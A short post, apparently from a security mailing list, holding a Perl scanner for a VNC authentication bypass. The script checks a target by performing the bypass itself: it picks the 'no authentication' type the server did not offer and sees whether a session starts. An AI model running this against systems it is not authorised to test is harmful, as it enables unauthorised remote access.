Here's a real quick vulnerability check in Perl...I think someone else
put out another scanner, but there was no source provided and it wasn't
working right for me.
------------------------------------------------------------------------
--------------------
#!/usr/bin/perl
# scan for OpenVNC 4.11 authentication bypass
use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1] || 5900;
$host or die("$0 <host> <port>\n");
print "Connecting to $host:$port..."; $| = 1;
($sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',)) ? print "success!\n"
: die("failed\n");
#negotiate protocol
$sock->read($protocol_version,12);
print $sock $protocol_version;
print "Using protocol $protocol_version";
# get security types that we'll be ignoring
$sock->read($security_types,1);
$sock->read($hahaha,unpack('C',$security_types));
# choose no authentication
print $sock "\x01";
# we should get "0000" back
$sock->read($in,4);
if(unpack('I',$in)) { die("Not vulnerable\n") };
# client initialize
print $sock "\x01";
# if the server starts sending data we are in
$sock->read($in,4);
(unpack('I',$in)) ? print("Vulnerable!\n") : die("Not vulnerable\n") ;
exit;
